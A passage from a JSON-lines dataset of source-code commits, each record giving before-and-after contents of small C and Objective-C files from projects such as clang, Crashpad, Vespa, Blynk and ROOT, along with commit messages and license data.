\"UIImageView+PKCRemoteImage.h\"\n#endif","subject":"Include PKCBaseAPI in umbrella header","message":"Include PKCBaseAPI in umbrella header\n","lang":"C","license":"mit","repos":"podio\/podio-objc-core,podio\/podio-objc-core,podio\/podio-objc-core"}
{"commit":"38932860b844b490af964d60b42d469a53b67d50","old_file":"test\/Driver\/aarch64-rand.c","new_file":"test\/Driver\/aarch64-rand.c","old_contents":"","new_contents":"\/\/ RUN: %clang -### -target aarch64-none-none-eabi -march=armv8.4a+rng %s 2>&1 | FileCheck %s\n\/\/ RUN: %clang -### -target aarch64-none-none-eabi -march=armv8.5a+rng %s 2>&1 | FileCheck %s\n\/\/ CHECK: \"-target-feature\" \"+rand\"\n\n\/\/ RUN: %clang -### -target aarch64-none-none-eabi -march=armv8.4a+norng %s 2>&1 | FileCheck %s --check-prefix=NORAND\n\/\/ RUN: %clang -### -target aarch64-none-none-eabi -march=armv8.5a+norng %s 2>&1 | FileCheck %s --check-prefix=NORAND\n\/\/ NORAND: \"-target-feature\" \"-rand\"\n\n\/\/ RUN: %clang -### -target aarch64-none-none-eabi                 %s 2>&1 | FileCheck %s --check-prefix=ABSENTRAND\n\/\/ RUN: %clang -### -target aarch64-none-none-eabi -march=armv8.4a %s 2>&1 | FileCheck %s --check-prefix=ABSENTRAND\n\/\/ RUN: %clang -### -target aarch64-none-none-eabi -march=armv8.5a %s 2>&1 | FileCheck %s --check-prefix=ABSENTRAND\n\/\/ ABSENTRAND-NOT: \"-target-feature\" \"+rand\"\n\/\/ ABSENTRAND-NOT: \"-target-feature\" \"-rand\"\n","subject":"Test optional Armv8.5-A random number extension","message":"[AArch64][v8.5A] Test optional Armv8.5-A random number extension\n\nThe implementation of this is in TargetParser, so we only need to add a\ntest for it in clang.\n\nPatch by Pablo Barrio!\n\nDifferential revision: https:\/\/reviews.llvm.org\/D52492\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@343220 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"513ee4a749193cc8ba80666c852062bd7c9d2bf4","old_file":"ext\/opengl\/glimpl.h","new_file":"ext\/opengl\/glimpl.h","old_contents":"#ifndef _GLIMPL_H_\n#define _GLIMPL_H_\n\n#ifndef GLFUNC_MAGIC_START\n#include \"fptr_struct.h\"\n#endif\n\n#define GET_GLIMPL_VARIABLE(_name_) \\\n  (((struct glimpl *)DATA_PTR(obj))->_name_)\n\n#define SET_GLIMPL_VARIABLE(_name_,_val_) \\\n  ((struct glimpl *)DATA_PTR(obj))->_name_ = (_val_)\n\n\/* at least GL_MAX_VERTEX_ATTRIBS - usually 16 or 32 on today's high-end cards *\/\n#define _MAX_VERTEX_ATTRIBS 64\n\nextern VALUE g_default_glimpl;\n\nstruct glimpl {\n  struct glfunc_ptrs glfuncs;\n\n  int opengl_version[2]; \/* major, minor *\/\n  char *opengl_extensions;\n\n  void * (* load_gl_function)(VALUE self, const char *name,int raise);\n\n  VALUE current_feed_buffer;\n  VALUE current_sel_buffer;\n  VALUE Vertex_ptr;\n  VALUE Normal_ptr;\n  VALUE Color_ptr;\n  VALUE Index_ptr;\n  VALUE TexCoord_ptr;\n  VALUE EdgeFlag_ptr;\n  VALUE FogCoord_ptr; \/* OpenGL 1.4 *\/\n  VALUE SecondaryColor_ptr; \/* OpenGL 1.4 *\/\n  VALUE VertexAttrib_ptr[_MAX_VERTEX_ATTRIBS];\n\n  VALUE error_checking;\n  VALUE inside_begin_end;\n\n  void *dl;\n  void * (* fptr_GetProcAddress)(const char *name);\n};\n\n\n#endif \/* _GLIMPL_H_ *\/\n","new_contents":"#ifndef _GLIMPL_H_\n#define _GLIMPL_H_\n\n#ifndef GLFUNC_MAGIC_START\n#include \"fptr_struct.h\"\n#endif\n\n#define GET_GLIMPL_VARIABLE(_name_) \\\n  (((struct glimpl *)DATA_PTR(obj))->_name_)\n\n#define SET_GLIMPL_VARIABLE(_name_,_val_) \\\n  ((struct glimpl *)DATA_PTR(obj))->_name_ = (_val_)\n\n\/* at least GL_MAX_VERTEX_ATTRIBS - usually 16 or 32 on today's high-end cards *\/\n#define _MAX_VERTEX_ATTRIBS 64\n\nextern VALUE g_default_glimpl;\n\nstruct glimpl {\n  struct glfunc_ptrs glfuncs;\n\n  int opengl_version[2]; \/* major, minor *\/\n  char *opengl_extensions;\n\n  void * (* load_gl_function)(VALUE self, const char *name,int raise);\n\n  VALUE current_feed_buffer;\n  VALUE current_sel_buffer;\n  VALUE Vertex_ptr;\n  VALUE Normal_ptr;\n  VALUE Color_ptr;\n  VALUE Index_ptr;\n  VALUE TexCoord_ptr;\n  VALUE EdgeFlag_ptr;\n  VALUE FogCoord_ptr; \/* OpenGL 1.4 *\/\n  VALUE SecondaryColor_ptr; \/* OpenGL 1.4 *\/\n  VALUE VertexAttrib_ptr[_MAX_VERTEX_ATTRIBS];\n\n  VALUE error_checking;\n  VALUE inside_begin_end;\n\n  void *dl;\n  void * (APIENTRY * fptr_GetProcAddress)(const char *name);\n};\n\n\n#endif \/* _GLIMPL_H_ *\/\n","subject":"Fix call convention for wglGetProcAddress on Windows-i686","message":"Fix call convention for wglGetProcAddress on Windows-i686\n","lang":"C","license":"mit","repos":"larskanis\/opengl,larskanis\/opengl"}
{"commit":"ffb3fd2e84d778386e5da7b6d975cc4895dc2bd6","old_file":"AssimpKit\/Code\/Model\/SCNScene+AssimpImport.h","new_file":"AssimpKit\/Code\/Model\/SCNScene+AssimpImport.h","old_contents":"\/\/\n\/\/  SCNScene+AssimpImport.h\n\/\/  AssimpKit\n\/\/\n\/\/  Created by Deepak Surti on 10\/24\/16.\n\/\/\n\/\/\n\n#include <GLKit\/GLKit.h>\n#import <SceneKit\/SceneKit.h>\n\n@interface SCNScene (AssimpImport)\n\n+ (SCNScene*)assimpSceneNamed:(NSString*)name;\n\n@end\n","new_contents":"\/\/\n\/\/  SCNScene+AssimpImport.h\n\/\/  AssimpKit\n\/\/\n\/\/  Created by Deepak Surti on 10\/24\/16.\n\/\/\n\/\/\n\n#include <GLKit\/GLKit.h>\n#import <SceneKit\/SceneKit.h>\n\n@interface SCNScene (AssimpImport)\n\n+ (instancetype)assimpSceneNamed:(NSString*)name;\n\n@end\n","subject":"Use instancetype keyword for assimp method","message":"Use instancetype keyword for assimp method\n","lang":"C","license":"bsd-3-clause","repos":"dmsurti\/AssimpKit"}
{"commit":"6de7ad8a2255d0a1ae782d75eaadcecbffc7fdd2","old_file":"compat\/android\/sys\/user.h","new_file":"compat\/android\/sys\/user.h","old_contents":"","new_contents":"\/\/ Copyright 2017 The Crashpad Authors. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef CRASHPAD_COMPAT_ANDROID_SYS_USER_H_\n#define CRASHPAD_COMPAT_ANDROID_SYS_USER_H_\n\n\/\/ This is needed for traditional headers.\n#include <sys\/types.h>\n\n#include_next <sys\/user.h>\n\n#endif  \/\/ CRASHPAD_COMPAT_ANDROID_SYS_USER_H_\n","subject":"Fix Android x86_64 build when using traditional headers","message":"Fix Android x86_64 build when using traditional headers\n\nBug: crashpad:30\nChange-Id: I4b4e478bb3811fd5d9d66d98a4ecc811be3ea129\nReviewed-on: https:\/\/chromium-review.googlesource.com\/703689\nCommit-Queue: Joshua Peraza <f5809a5e35ec7e1bd0e25cb0a0b68bb433cf6f17@chromium.org>\nReviewed-by: Mark Mentovai <f1b5a91d4d6ad523f2610114591c007e75d15084@chromium.org>\n","lang":"C","license":"apache-2.0","repos":"atom\/crashpad,atom\/crashpad,chromium\/crashpad,chromium\/crashpad,chromium\/crashpad,atom\/crashpad"}
{"commit":"5b7106db8763b164b199fd9381cff9ba3445b9ff","old_file":"src\/parse.h","new_file":"src\/parse.h","old_contents":"\/\/ Copyright 2016 Mitchell Kember. Subject to the MIT License.\n\n#ifndef PARSE_H\n#define PARSE_H\n\n#include \"expr.h\"\n\n#define PARSE_SUCCESS (-1)\n\n\/\/ ParseResult contains the result of parsing text. The 'expr' field has a\n\/\/ meaningful value if and only if 'err_type' is PARSE_SUCCESS.\nstruct ParseResult {\n\tsize_t chars_read;      \/\/ number of characters read\n\tstruct Expression expr; \/\/ parsed expression\n\tint err_type;           \/\/ PARSE_SUCCESS or a ParseErrorType value\n};\n\n\/\/ Parses a string as an s-expression of pairs, symbols, and numbers. On\n\/\/ success, returns the parse result with 'err_type' set to PARSE_SUCCESS.\n\/\/ Otherwise, returns a ParseErrorType in the result.\nstruct ParseResult parse(const char *text);\n\n#endif\n","new_contents":"\/\/ Copyright 2016 Mitchell Kember. Subject to the MIT License.\n\n#ifndef PARSE_H\n#define PARSE_H\n\n#include \"expr.h\"\n\n\/\/ Constant indicating that a parse was successful.\n#define PARSE_SUCCESS (-1)\n\n\/\/ ParseResult contains the result of parsing text. The 'expr' field has a\n\/\/ meaningful value if and only if 'err_type' is PARSE_SUCCESS.\nstruct ParseResult {\n\tsize_t chars_read;      \/\/ number of characters read\n\tstruct Expression expr; \/\/ parsed expression\n\tint err_type;           \/\/ PARSE_SUCCESS or a ParseErrorType value\n};\n\n\/\/ Parses a string as an s-expression of pairs, symbols, and numbers. On\n\/\/ success, returns the parse result with 'err_type' set to PARSE_SUCCESS.\n\/\/ Otherwise, returns a ParseErrorType in the result.\nstruct ParseResult parse(const char *text);\n\n#endif\n","subject":"Add comment for constant PARSE_SUCCESS","message":"Add comment for constant PARSE_SUCCESS\n","lang":"C","license":"mit","repos":"mk12\/eva,mk12\/eva"}
{"commit":"c4194bbe0dbae028bb35d465c4f6342c1d87b486","old_file":"src\/substr.c","new_file":"src\/substr.c","old_contents":"\/\/\n\/\/  substr.c\n\/\/  AnsiLove\/C\n\/\/\n\/\/  Copyright (C) 2011-2016 Stefan Vogt, Brian Cassidy, Frederic Cambus.\n\/\/  All rights reserved.\n\/\/\n\/\/  This source code is licensed under the BSD 3-Clause License.\n\/\/  See the file LICENSE for details.\n\/\/\n\n#define _XOPEN_SOURCE 700\n#include <string.h>\n\nchar *substr(char *str, size_t begin, size_t len)\n{\n    if (str == 0 || strlen(str) == 0)\n        return 0;\n\n    return strndup(str + begin, len);\n}\n","new_contents":"\/\/\n\/\/  substr.c\n\/\/  AnsiLove\/C\n\/\/\n\/\/  Copyright (C) 2011-2016 Stefan Vogt, Brian Cassidy, Frederic Cambus.\n\/\/  All rights reserved.\n\/\/\n\/\/  This source code is licensed under the BSD 3-Clause License.\n\/\/  See the file LICENSE for details.\n\/\/\n\n#define _XOPEN_SOURCE 700\n#define _NETBSD_SOURCE\n#include <string.h>\n\nchar *substr(char *str, size_t begin, size_t len)\n{\n    if (str == 0 || strlen(str) == 0)\n        return 0;\n\n    return strndup(str + begin, len);\n}\n","subject":"Define _NETBSD_SOURCE macro to make 'strndup' declaration visible on NetBSD","message":"Define _NETBSD_SOURCE macro to make 'strndup' declaration visible on NetBSD\n","lang":"C","license":"bsd-2-clause","repos":"ansilove\/AnsiLove-C,ansilove\/ansilove"}
{"commit":"fd8a853dfba813b54ddb0eeebee14f9dc9fa5961","old_file":"include\/pipe\/algorithm\/pipe.h","new_file":"include\/pipe\/algorithm\/pipe.h","old_contents":"#pragma once\n#include <utility>\n#include <pipe\/traits.h>\n\nnamespace pipe { namespace algorithm {\n\ntemplate <typename Generator, typename Algorithm, typename _ = std::enable_if<pipe::is_generator<Generator>::value>::type>\nauto operator|(Generator& gen, Algorithm algorithm)\n{\n    return algorithm(std::move(gen));\n}\n\n}} \/\/ namespace pipe::algorithm\n","new_contents":"#pragma once\n#include <utility>\n#include <pipe\/traits.h>\n\nnamespace pipe { namespace algorithm { namespace details {\n\ntemplate <typename Generator, typename Algorithm, typename _ = std::enable_if<pipe::is_generator<Generator>::value>::type>\nauto operator|(Generator& gen, Algorithm algorithm)\n{\n    return algorithm(std::move(gen));\n}\n\n}}} \/\/ namespace pipe::algorithm::details\n","subject":"Move operator| in details namespace","message":"Move operator| in details namespace\n","lang":"C","license":"mit","repos":"vladris\/pipe,vladris\/pipe"}
{"commit":"d351c50c960d6bad2469b08fd547936512c58a08","old_file":"uart_echo.c","new_file":"uart_echo.c","old_contents":"#include <avr\/interrupt.h>\n\n#include \"uart.h\"\n\nint main (void) {\n  uart_enable(UM_Asynchronous);\n  sei();\n\n  unsigned char c = 0;\n  do {\n    c = uart_receive();\n    uart_transmit(c);\n  } while (c);\n\n  return 0;\n}\n\n","new_contents":"#include <avr\/interrupt.h>\n#include <util\/delay.h>\n\n#include \"uart.h\"\n\nint main (void) {\n  uart_enable(UM_Asynchronous);\n  sei();\n\n  DDRB = 0xFF;\n\n  unsigned char c = 0;\n  do {\n    c = uart_receive();\n\n    \/\/ Do some blinking if we receive a number between 1 and 9.\n    if (c >= '1' && c <= '9') {\n      for (int i = 0; i < (c-'0'); ++i) {\n        PORTB = 0xFF;\n        _delay_ms(100);\n        PORTB = 0x00;\n        _delay_ms(100);\n      }\n    }\n    \n    uart_transmit(c);\n  } while (1);\n\n  return 0;\n}\n\n","subject":"Add a slight bit more functionality to the UART echo app so that it can blink some lights with numerical inputs. This can help determine whether or not the AVR is receiving the correct data, even though it is echoing it back anyway.","message":"Add a slight bit more functionality to the UART echo app so that it can blink some lights with numerical inputs.  This can help determine whether or not the AVR is receiving the correct data, even though it is echoing it back anyway.\n","lang":"C","license":"mpl-2.0","repos":"grimwm\/avr,grimwm\/avr,grimwm\/avr,grimwm\/avr"}
{"commit":"c905615f0dd9db449f32f9a4adff40676e84b8a2","old_file":"Reactor\/MTRReactiveEngine.h","new_file":"Reactor\/MTRReactiveEngine.h","old_contents":"\/\/\n\/\/  MTRReactiveEngine.h\n\/\/  Reactor\n\/\/\n\/\/  Created by Ty Cobb on 1\/15\/15.\n\/\/  Copyright (c) 2015 cobb. All rights reserved.\n\/\/\n\n@import Foundation;\n\n@interface MTRReactiveEngine : NSObject\n\n\/**\n @brief Adds reactivity to marked classes\n \n Sweeps the class list for classes adopting @c MTRReactive, and swizzles their\n property setters\/getters to add reactivity.\n*\/\n\n+ (void)engage;\n\n@end\n","new_contents":"\/\/\n\/\/  MTRReactiveEngine.h\n\/\/  Reactor\n\/\/\n\/\/  Created by Ty Cobb on 1\/15\/15.\n\/\/  Copyright (c) 2015 cobb. All rights reserved.\n\/\/\n\n@import Foundation;\n\n@protocol MTRReactive;\n@interface MTRReactiveEngine : NSObject\n\n\/**\n @brief Adds reactivity to marked classes\n \n Sweeps the class list for classes adopting @c MTRReactive, and swizzles their\n property setters\/getters to add reactivity.\n*\/\n\n+ (void)engage;\n\n\/**\n @brief Manually adds reactivity to marked classes\n \n Use this method if you want to have on-demand reactification.\n *\/\n\n+ (void)reactify:(Class<MTRReactive>)klass;\n\n@end\n","subject":"Add feature to on-demand reactify classes","message":"Add feature to on-demand reactify classes","lang":"C","license":"mit","repos":"wzrad\/Reactor,derkis\/Reactor,derkis\/Reactor"}
{"commit":"95acf0f82a339ca56201730369a9b641e72a4b20","old_file":"arc\/arc\/Plugin\/PluginDelegate.h","new_file":"arc\/arc\/Plugin\/PluginDelegate.h","old_contents":"\/\/\n\/\/  PluginDelegate.h\n\/\/  arc\n\/\/\n\/\/  Created by Yong Michael on 6\/4\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"ArcAttributedString.h\"\n#import \"File.h\"\n\ntypedef enum {\n    kMCQSettingType,\n    kRangeSettingType,\n    kBoolSettingType\n} kSettingType;\n\n@protocol PluginDelegate <NSObject>\n\/\/ Returns an array of NSStrings\n\/\/ eg: [@\"fontFamily\", @\"fontSize\"]\n@property (nonatomic, strong) NSArray *settingKeys;\n\n\/\/ Returns a NSDictionary of properties for setting\n\/\/ eg: [pluginInstance propertiesFor:@\"fontFamily\"]\n\/\/ returns:\n\/\/ {\n\/\/   type: kMCQSettingType,\n\/\/   values: [A, B, C, D]\n\/\/ }\n- (NSDictionary *)propertiesFor:(NSString *)settingKey;\n\n\/\/ Returns Default Value for given setting\n- (id<NSObject>)defaultValueFor:(NSString *)settingKey;\n\n\/\/ Exec Method (Middleware)\n+ (void)arcAttributedString:(ArcAttributedString*)arcAttributedString\n                     ofFile:(id<File>)file\n                   delegate:(id)delegate;\n@end\n","new_contents":"\/\/\n\/\/  PluginDelegate.h\n\/\/  arc\n\/\/\n\/\/  Created by Yong Michael on 6\/4\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"ArcAttributedString.h\"\n#import \"File.h\"\n\ntypedef enum {\n    kMCQSettingType,\n    kRangeSettingType,\n    kBoolSettingType\n} kSettingType;\n\n@protocol PluginDelegate <NSObject>\n\/\/ Returns an array of NSStrings\n\/\/ eg: [@\"fontFamily\", @\"fontSize\"]\n@property (nonatomic, strong) NSArray *settingKeys;\n\n\/\/ Returns a NSDictionary of properties for setting\n\/\/ eg: [pluginInstance propertiesFor:@\"fontFamily\"]\n\/\/ returns:\n\/\/ {\n\/\/   type: kMCQSettingType,\n\/\/   labels: [\"Inconsolata\", \"Source Code Pro\", \"Ubuntu Monospace\"]\n\/\/   values: [\"Inconsolata\", \"SourceCodePro-Regular\", \"Ubuntu Mono Regular\"]\n\/\/ }\n- (NSDictionary *)propertiesFor:(NSString *)settingKey;\n\n\/\/ Returns Default Value for given setting\n- (id<NSObject>)defaultValueFor:(NSString *)settingKey;\n\n\/\/ Exec Method (Middleware)\n+ (void)arcAttributedString:(ArcAttributedString*)arcAttributedString\n                     ofFile:(id<File>)file\n                   delegate:(id)delegate;\n@end\n","subject":"Update comment to reflect dictionary layout.","message":"Update comment to reflect dictionary layout.\n","lang":"C","license":"mit","repos":"BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc"}
{"commit":"316572d9a3274a18a8def23c087b139e27f99ac8","old_file":"snake.c","new_file":"snake.c","old_contents":"#include <stdlib.h>\n\n\/**\n * @author: Hendrik Werner\n *\/\n\nint main() {\n\treturn EXIT_SUCCESS;\n}\n","new_contents":"#include <stdlib.h>\n\n\/**\n * @author: Hendrik Werner\n *\/\n\ntypedef struct Position {\n\tint row;\n\tint col;\n} Position;\n\nint main() {\n\treturn EXIT_SUCCESS;\n}\n","subject":"Define a struct to represent 2d positions.","message":"Define a struct to represent 2d positions.\n","lang":"C","license":"mit","repos":"Hendrikto\/Snake"}
{"commit":"fca387c79a274d3da8d5abb97ee9b1765188abaa","old_file":"eval\/src\/vespa\/eval\/tensor\/dense\/direct_dense_tensor_builder.h","new_file":"eval\/src\/vespa\/eval\/tensor\/dense\/direct_dense_tensor_builder.h","old_contents":"\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include \"dense_tensor.h\"\n\nnamespace vespalib::tensor {\n\n\/**\n * Class for building a dense tensor by inserting cell values directly into underlying array of cells.\n *\/\nclass DirectDenseTensorBuilder\n{\npublic:\n    using Cells = DenseTensor::Cells;\n    using Address = DenseTensor::Address;\n\nprivate:\n    eval::ValueType _type;\n    Cells _cells;\n\n    static size_t calculateCellAddress(const Address &address, const eval::ValueType &type) {\n        size_t result = 0;\n        for (size_t i = 0; i < address.size(); ++i) {\n            result *= type.dimensions()[i].size;\n            result += address[i];\n        }\n        return result;\n    }\npublic:\n    DirectDenseTensorBuilder(const eval::ValueType &type_in);\n    ~DirectDenseTensorBuilder();\n    void insertCell(const Address &address, double cellValue) {\n        _cells[calculateCellAddress(address, _type)] = cellValue;\n    }\n    Tensor::UP build();\n};\n\n}\n\n","new_contents":"\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include \"dense_tensor.h\"\n\nnamespace vespalib::tensor {\n\n\/**\n * Class for building a dense tensor by inserting cell values directly into underlying array of cells.\n *\/\nclass DirectDenseTensorBuilder\n{\npublic:\n    using Cells = DenseTensor::Cells;\n    using Address = DenseTensor::Address;\n\nprivate:\n    eval::ValueType _type;\n    Cells _cells;\n\n    static size_t calculateCellAddress(const Address &address, const eval::ValueType &type) {\n        size_t result = 0;\n        for (size_t i = 0; i < address.size(); ++i) {\n            result *= type.dimensions()[i].size;\n            result += address[i];\n        }\n        return result;\n    }\npublic:\n    DirectDenseTensorBuilder(const eval::ValueType &type_in);\n    ~DirectDenseTensorBuilder();\n    void insertCell(const Address &address, double cellValue) {\n        insertCell(calculateCellAddress(address, _type), cellValue);\n    }\n    void insertCell(size_t index, double cellValue) {\n        _cells[index] = cellValue;\n    }\n    Tensor::UP build();\n};\n\n}\n\n","subject":"Allow for building index on the outside.","message":"Allow for building index on the outside.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"0ef96b3c2dbf65fd92dd700e15689180af74d438","old_file":"firmware\/WidgetTerminal.h","new_file":"firmware\/WidgetTerminal.h","old_contents":"\/**\n * @file       WidgetTerminal.h\n * @author     Volodymyr Shymanskyy\n * @license    This project is released under the MIT License (MIT)\n * @copyright  Copyright (c) 2015 Volodymyr Shymanskyy\n * @date       Jan 2015\n * @brief\n *\/\n\n#ifndef WidgetTerminal_h\n#define WidgetTerminal_h\n\n#include <Print.h>\n#include <Blynk\/BlynkApi.h>\n\nclass WidgetTerminal\n    : public Print\n{\npublic:\n    WidgetTerminal(int vPin)\n        : mPin(vPin), mOutQty(0)\n    {}\n\n    virtual size_t write(uint8_t byte) {\n        mOutBuf[mOutQty++] = byte;\n        if (mOutQty >= sizeof(mOutBuf)) {\n            flush();\n        }\n        return 1;\n    }\n\n    void flush() {\n        if (mOutQty) {\n            Blynk.virtualWrite(mPin, mOutBuf, mOutQty);\n            mOutQty = 0;\n        }\n    }\n\n    using Print::write;\n\nprivate:\n    uint8_t mPin;\n    uint8_t mOutBuf[32];\n    uint8_t mOutQty;\n};\n\n#endif\n","new_contents":"\/**\n * @file       WidgetTerminal.h\n * @author     Volodymyr Shymanskyy\n * @license    This project is released under the MIT License (MIT)\n * @copyright  Copyright (c) 2015 Volodymyr Shymanskyy\n * @date       Jan 2015\n * @brief\n *\/\n\n#ifndef WidgetTerminal_h\n#define WidgetTerminal_h\n\n#include <Print.h>\n\n#if !defined(SPARK) \/\/ On Spark this is auto-included\n#include <Blynk\/BlynkApi.h>\n#endif\n\nclass WidgetTerminal\n    : public Print\n{\npublic:\n    WidgetTerminal(int vPin)\n        : mPin(vPin), mOutQty(0)\n    {}\n\n    virtual size_t write(uint8_t byte) {\n        mOutBuf[mOutQty++] = byte;\n        if (mOutQty >= sizeof(mOutBuf)) {\n            flush();\n        }\n        return 1;\n    }\n\n    void flush() {\n        if (mOutQty) {\n            Blynk.virtualWrite(mPin, mOutBuf, mOutQty);\n            mOutQty = 0;\n        }\n    }\n\n    using Print::write;\n\nprivate:\n    uint8_t mPin;\n    uint8_t mOutBuf[32];\n    uint8_t mOutQty;\n};\n\n#endif\n","subject":"Fix terminal widget on Spark Core","message":"Fix terminal widget on Spark Core\n","lang":"C","license":"mit","repos":"yaneexy\/blynk-library-spark,vshymanskyy\/blynk-library-spark,domo-connect\/blynk-library-spark,vshymanskyy\/blynk-library-spark,chieftuscan\/blynk-library-spark,chieftuscan\/blynk-library-spark,yaneexy\/blynk-library-spark,domo-connect\/blynk-library-spark"}
{"commit":"d2afa9534fc413ca9bd4d84e3f2398e922aec7c0","old_file":"meta\/inc\/TVirtualIsAProxy.h","new_file":"meta\/inc\/TVirtualIsAProxy.h","old_contents":"\/\/ @(#)root\/meta:$Name:  $:$Id: TVirtualIsAProxy.h,v 1.1 2005\/05\/27 16:42:58 pcanal Exp $\n\/\/ Author: Markus Frank 20\/05\/2005\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TVirtualIsAProxy\n#define ROOT_TVirtualIsAProxy\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TClass                                                               \/\/\n\/\/                                                                      \/\/\n\/\/ Virtual IsAProxy base class.                                         \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nclass TVirtualIsAProxy  {\npublic:\n   virtual ~TVirtualIsAProxy() { }\n   virtual void SetClass(TClass *cl) = 0;\n   virtual TClass* operator()(const void *obj) = 0;\n};\n\n#endif \/\/ ROOT_TVirtualIsAProxy\n","new_contents":"\/\/ @(#)root\/meta:$Name:  $:$Id: TVirtualIsAProxy.h,v 1.2 2005\/06\/08 18:51:36 rdm Exp $\n\/\/ Author: Markus Frank 20\/05\/2005\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TVirtualIsAProxy\n#define ROOT_TVirtualIsAProxy\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TClass                                                               \/\/\n\/\/                                                                      \/\/\n\/\/ Virtual IsAProxy base class.                                         \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass TClass;\n\nclass TVirtualIsAProxy  {\npublic:\n   virtual ~TVirtualIsAProxy() { }\n   virtual void SetClass(TClass *cl) = 0;\n   virtual TClass* operator()(const void *obj) = 0;\n};\n\n#endif \/\/ ROOT_TVirtualIsAProxy\n","subject":"Add the necessary includes and forward declarations such that the class can be compiled independently.","message":"Add the necessary includes and forward declarations such that the class can be compiled independently.\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@19581 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"dawehner\/root,bbannier\/ROOT,dawehner\/root,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT"}
{"commit":"ba62f0d82dda609e9e01b84797944e9d18a989eb","old_file":"KBSCloudApp.h","new_file":"KBSCloudApp.h","old_contents":"\/\/\n\/\/  KBSCloudApp.h\n\/\/\n\/\/  Created by Keith Smiley\n\/\/  Copyright (c) 2013 Keith Smiley. All rights reserved.\n\/\/\n\n#ifndef _KBSCLOUDAPP_\n#define _KBSCLOUDAPP_\n\n#import \"KBSCloudAppUser.h\"\n#import \"KBSCloudAppAPI.h\"\n\nNS_ENUM(NSInteger, KBSCloudAppAPIErrorCode) {\n  KBSCloudAppNoUserOrPass,\n  KBSCloudAppAPIInvalidUser,\n  KBSCloudAppInternalError\n};\n\nstatic NSString * const KBSCloudAppAPIErrorDomain = @\"com.keithsmiley.cloudappapi\";\nstatic NSString * const baseAPI = @\"http:\/\/my.cl.ly\/\";\nstatic NSString * const baseShortURL = @\"cl.ly\";\nstatic NSString * const itemsPath   = @\"items\";\nstatic NSString * const accountPath = @\"account\";\n\n#endif\n","new_contents":"\/\/\n\/\/  KBSCloudApp.h\n\/\/\n\/\/  Created by Keith Smiley\n\/\/  Copyright (c) 2013 Keith Smiley. All rights reserved.\n\/\/\n\n#ifndef _KBSCLOUDAPP_\n#define 